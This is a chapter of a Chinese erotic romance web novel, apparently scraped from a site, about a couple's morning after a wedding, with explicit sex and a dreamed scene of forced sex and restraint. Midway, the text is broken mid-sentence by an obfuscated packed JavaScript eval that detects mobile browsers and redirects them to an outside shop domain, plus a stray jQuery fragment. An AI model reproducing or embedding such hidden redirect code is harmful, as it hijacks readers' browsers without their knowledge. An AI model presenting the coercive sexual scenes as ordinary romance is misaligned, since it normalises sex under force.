随奕脚尖刚挨着地,被这突然的人声吓得一激灵加上腿软使不上劲直接一屁股摔在地上。
“啊!”
“诶呦~”
孟培风见她摔了立刻挪到床边将人捞了上来:“没事吧?”
“怎么没事!”她捂着膝盖龇牙咧嘴给他看嗑红的膝盖,“疼死了。”
他抬手覆在她膝盖上轻轻揉捏:“冒失。”
“明明是你突然吓我的。”
“呵,要不是你想跑心里有鬼,怎么会被吓到。”
“……”
“不知道你在说什么。”
随奕揪着被子盖住自己的脸试图当个鹌鹑,他俩啥也没穿,坦诚相对多少有点尴尬。
被子被强硬地扒开,她对上男人那张英俊的脸:“干嘛?”
孟培风掀开被子躺了进去,一个侧身便将人搂进怀里:“睡觉。”
“那你睡,我先起了。”
他控制住她乱动的四肢:“一起睡,不睡就做点别的。”
这个别的,不用想都知道是什么。
随奕顿时不敢动了,实在是她现在腰酸腿软嗓子疼,干不了别的。
男人勾起她一绺黑发缠绕在指尖:“昨晚睡得满意吗?”
白嫩的脖颈红了一片,她结结巴巴答道:“满、满意。”
孟培风勾起嘴角揉了揉她的脑袋:“陪我再睡会儿,别想着跑。”
昨天谢行之结婚他当伴郎忙了一天,夜里又撑着闹腾到天蒙蒙亮,怕她跑了睡觉都不敢睡熟,铁打的身体也有点熬不住。
“哦。”随奕现在也不想着跑了,刚刚最好的时机没跑掉,现在再跑也没有意义。
她摸到手机玩了会儿,被身旁的人热烘烘的体温烘着不知不觉睡着了。
“为什么要跑?”男生赤红着眼将她一把甩在床上,“不是你说的最喜欢我,嗯?”
随奕害怕地想跑,她手脚并用往床的另一侧爬却被他一把攥住脚腕给拉了回来压在身下。
“玩弄了我的感情还想跑?”
凶狠的吻落下,她被吻得唇瓣发麻却无法躲开,只能承受他的怒气。
“嘶啦~”身上的裙子被他从领口撕开,衣料被推到锁骨,孟培风俯身在其中一团上咬了一口。
“啊、”随奕疼得泛起泪花,她求饶试图唤醒他的理智,“疼、孟培风、哥哥、”
孟培风抬起头,眼底闪过一丝幽光:“nono,你确定要在这时候叫哥哥?”
她揽上他的脖子亲吻他的唇角:“哥哥,我害怕。”
“害怕还敢跑?”
见他表情不对,她果断求饶:“不跑了,以后都不跑了。”
眼前清俊的少年脸突然变成成熟凌厉的青年。
“随奕,要么就再也不要出现,出现了就别想走。”
她茫然地睁开眼,眼前是乌黑的发顶,男人埋首在她胸前,碎发扫在皮肤上扎得有点痒。
“嗯~”她下意识发出一声低吟,想咬唇忍住已经来不及。
孟培风抬起头,唇瓣殷红还带着未干的水渍:“醒了?”
“嗯。”她想推开他却被攥住两只手腕按在床上动弹不得。
“放开我。”
男人只是定定地看了她一眼又低下头去。
“啊、”她咬着唇有些难耐地扭动身子,“不要、”
不对,这一切太混乱了,昨晚那是色向胆边生,现在两个人都清醒着,不能再继续下去。
“我们不能这样。”
“为什么不能。”孟培风抬起头用鼻尖轻蹭她的,“说说不能的理由。”
“我是你妹妹。”
“妹妹?”他仿佛听到了什么笑话,“是背着家里的保姆偷偷缠着哥哥要接吻的妹妹?”
“……”随奕心虚地移开视线,案底案底,都是案底。
心爱的姑娘像个鲜嫩多汁白里透粉的水蜜桃一样窝在他怀里,孟培风没有心情和她掰扯什么哥哥妹妹的事情。
“待会儿有你叫哥哥的时候。”
他一把将人捞起来,在随奕震惊疑惑的目光中将人放在自己腰腹上坐在。
她手脚并用想往下爬:“不行不行。”
昨晚最后一次他就是这么抱着她,她魂差点飞了,绝对来不了第二次。
孟培风搂着人躺下,她被那力道带着往前扑变成撑着床头跪着。
男人张口叼住草莓尖含在舌尖,她惊叫一声又拼命忍住。
他是什么变态吗,居然这样吃……
“嗯~”她睫毛颤动喉间溢出一丝轻吟,但是又好喜欢。
他睁着眼不错过她任何的表情,看着她从抗拒、忍耐到享受,手顺着腰线游移。
从盒子里倒出最后一个拆开,随奕敛着眉深吸一口气,短暂的紧绷之后便完全适应了他。
孟培风不急不缓,像是品尝甜品一般,细致温柔不错过每一处,顺便欣赏她媚色的脸。
很快随奕便不满于他的慢条斯理,她晃着臀催他:“你快呀~”
“啪!”
他抬手拍了一巴掌:“别乱动。”
“快点~”
男人无奈叹了口气如她所愿加快了速度。
随奕努力地扒着床头让自己保持悬空的姿势,但酸痛的腰无法坚持,被他一个猛烈的撞击之后她便再也撑不住直接摔了下去,结结实实砸在他脸上。
她硬撑着手臂支起身子当即对上男人因为窒息而憋成粉色的脸。
他拍拍她的脸:“你想捂死我?”又嫩又滑又香,软得不可思议,窒息也是真的窒息。
她讨好地亲吻他的唇角:“没撑住嘛,腰好痛。”
孟培风这才发觉她说话又不自觉地带上了方言的习惯,说什么都像在撒娇,或者说她确实在撒娇。
他扶着人坐好:“坐稳了。”
随奕感觉自己快被颠散架了,要不是被他拉着手臂,她随时都要瘫软下去。
“不要、啊、”
她仰着头,眼神涣散,乌发垂在身后随着身体起伏飘荡。
“啊——”
陡然卸去浑身力气,她身子一软就要向后倒,他早有准备一把将人搂进怀里。
“舒服了?”
她双眼迷离只是凭着本能回答:“嗯。”
孟培风吻上她细嫩的脖颈,动作又凶又急,过了好一会儿才闷哼一声紧紧搂着她平复呼吸。
洗完澡随奕坐在洗漱台上懒懒地靠在他肩头让他帮自己吹头发,吹风机轻微的噪声好像有催眠作用,听着听着眼皮开始忍不住打架。
“困了?”
“有点。”她懒洋洋,“还饿了。”
“已经叫了餐,待会儿吃点。”
孟培风握着她的手放在自己胸前带着她到处摸了几下,随奕感觉自己没那么困了,开始细致地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742105|207010||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
感受他精壮的身体。
他只在腰间围了条浴巾堪堪遮住重点部位,胸肌腹肌人鱼线一览无余。
“身材练得不错嘛。”
“你喜欢就好。”
男人给她吹好头发对着自己的头发随便扒拉两下便结束,抱着人就来到客厅。
酒店服务生推着车餐车进来,随奕也不挑什么中餐西餐了,先垫两口再说。
吃了点东西她终于活了过来,谁懂啊,从昨晚的晚宴到现在,十好几个小时没吃饭还一半时间都在做有氧运动。
孟培风不知什么时候已经换好衣服,一身灰色细条纹定制西装,就连头发都用发胶向后梳拢,还是熟悉的清俊贵公子模样。
“衣服在这里。”
看到盒子上的logo她撇撇嘴,心想孟总真是大方,这品牌随便一件上衣都够买几条她那个裙子了。
她打开盒子里面俨然是一条紫色纱裙,分明是之前和周淼晴逛街试的那条,甚至连鞋子和包包都在。
“这不是、”
“喜欢吗?”
她点点头又摇摇头:“这太贵重了。”
男人用拇指指腹轻抚她的脸:“再贵重也不会比你更贵重。”
突然的情话让随奕愣住,她触碰纱裙的手猛地缩回,像是被灼热的温度烫到。
“换衣服,我们该走了。”
随奕抱着裙子落荒而逃,过了一会儿才磨磨蹭蹭从卫生间出来。
“过来,穿、”
孟培风瞳仁微颤,看着眼前的人几乎失了神。
乌发雪肤红唇,俨然一朵娇艳欲滴的露水玫瑰。
她尴尬地掖了掖碎发:“不好看吗?”
“很美。”
男人牵着她坐下,在她诧异的目光中单膝跪下,握着她的脚腕轻轻塞进鞋里,最后系上搭扣。
他起身对她伸出手:“我们该走了。”
随奕将手轻轻搭在他手心,他稳稳地扶着她起身,顺势握住她的手。
“从这里回公寓不太顺路,你给我带到一个好打车的地方放下就好。”
孟培风脚步一顿回头看她:“谁说我要送你回公寓。”
“那我们去哪儿。”
“当然是回我的家。”
回他家?!什么回他家,怎么就要回他家了。
随奕心中警铃大作,第一反应竟然是想跑,却忘了手还被他握着,他轻轻一拉便将人扯进怀里。
男人眼神幽暗:“nono,想去哪儿。”
“我、”
孟培风不给她说话的机会径直搂着人往外走,她被他钳制着压根逃不了。
办完婚礼的庄园褪去热闹,她庆幸着这个时候大多数的人早已离开,不会碰到什么人。
司机等在车旁,见他们出来便拉开车门,随奕被塞进车里还不等她往外爬车门已经在她面前关上,随后男人从另一边坐进来。
他将人捞到腿上十指相扣,一边漫不经心地把玩她柔软的手。
她来参加婚礼打扮得很素净,身上的首饰只有脖子上的一条钻石项链,细细的链子坠着颗吊坠,没什么存在感。
像她这般娇艳的花,就应该锦衣玉食地养着,用名贵的珠宝点缀。
随奕看他开始研究起自己的手一时摸不透他的想法,干脆一边偷瞄他一边想对策。
突然,她听到他说:“nono,搬过来跟我住。”